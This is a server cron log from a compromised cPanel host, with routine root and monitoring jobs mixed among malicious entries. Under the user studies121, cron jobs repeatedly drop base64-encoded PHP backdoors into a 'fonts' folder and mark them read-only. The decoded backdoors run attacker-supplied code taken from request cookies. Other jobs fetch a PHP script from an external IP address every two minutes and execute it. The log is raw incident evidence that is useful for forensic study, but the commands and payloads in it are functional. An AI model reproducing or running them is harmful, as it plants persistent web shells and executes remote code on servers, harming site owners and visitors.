Sep 10 17:40:02 ip-184-168-122-23 CROND[15634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:40:02 ip-184-168-122-23 CROND[15637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:40:02 ip-184-168-122-23 CROND[15636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:40:02 ip-184-168-122-23 CROND[15638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:41:01 ip-184-168-122-23 CROND[15797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:41:01 ip-184-168-122-23 CROND[15798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:41:01 ip-184-168-122-23 CROND[15800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:41:01 ip-184-168-122-23 CROND[15801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:42:01 ip-184-168-122-23 CROND[15889]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:42:01 ip-184-168-122-23 CROND[15890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:42:01 ip-184-168-122-23 CROND[15893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:42:01 ip-184-168-122-23 CROND[15892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:42:01 ip-184-168-122-23 CROND[15895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:43:01 ip-184-168-122-23 CROND[16000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:43:01 ip-184-168-122-23 CROND[16002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:43:01 ip-184-168-122-23 CROND[16003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:43:01 ip-184-168-122-23 CROND[16001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:44:01 ip-184-168-122-23 CROND[16112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:44:01 ip-184-168-122-23 CROND[16115]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:44:01 ip-184-168-122-23 CROND[16117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:44:01 ip-184-168-122-23 CROND[16114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:44:01 ip-184-168-122-23 CROND[16116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:45:01 ip-184-168-122-23 CROND[16319]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:45:01 ip-184-168-122-23 CROND[16321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:45:01 ip-184-168-122-23 CROND[16322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:45:01 ip-184-168-122-23 CROND[16323]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:45:01 ip-184-168-122-23 CROND[16325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:45:01 ip-184-168-122-23 CROND[16324]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:46:01 ip-184-168-122-23 CROND[16498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:46:01 ip-184-168-122-23 CROND[16503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:46:01 ip-184-168-122-23 CROND[16501]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:46:01 ip-184-168-122-23 CROND[16502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:46:01 ip-184-168-122-23 CROND[16504]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 17:46:01 ip-184-168-122-23 CROND[16505]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 17:46:01 ip-184-168-122-23 CROND[16507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:47:01 ip-184-168-122-23 CROND[16678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:47:01 ip-184-168-122-23 CROND[16680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:47:01 ip-184-168-122-23 CROND[16679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:47:01 ip-184-168-122-23 CROND[16682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:48:01 ip-184-168-122-23 CROND[16798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:48:01 ip-184-168-122-23 CROND[16801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:48:01 ip-184-168-122-23 CROND[16802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:48:01 ip-184-168-122-23 CROND[16803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:48:01 ip-184-168-122-23 CROND[16800]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:49:01 ip-184-168-122-23 CROND[16891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:49:01 ip-184-168-122-23 CROND[16894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:49:01 ip-184-168-122-23 CROND[16893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:49:01 ip-184-168-122-23 CROND[16895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:50:01 ip-184-168-122-23 CROND[17125]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 17:50:02 ip-184-168-122-23 CROND[17127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:50:02 ip-184-168-122-23 CROND[17132]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 17:50:02 ip-184-168-122-23 CROND[17134]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 17:50:02 ip-184-168-122-23 CROND[17128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:50:02 ip-184-168-122-23 CROND[17130]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 17:50:02 ip-184-168-122-23 CROND[17133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:50:02 ip-184-168-122-23 CROND[17131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:50:02 ip-184-168-122-23 CROND[17129]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 17:51:01 ip-184-168-122-23 CROND[17334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 17:51:01 ip-184-168-122-23 CROND[17336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 17:51:01 ip-184-168-122-23 CROND[17335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 17:51:01 ip-184-168-122-23 CROND[17337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:52:01 ip-184-168-122-23 CROND[17439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 17:52:01 ip-184-168-122-23 CROND[17441]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
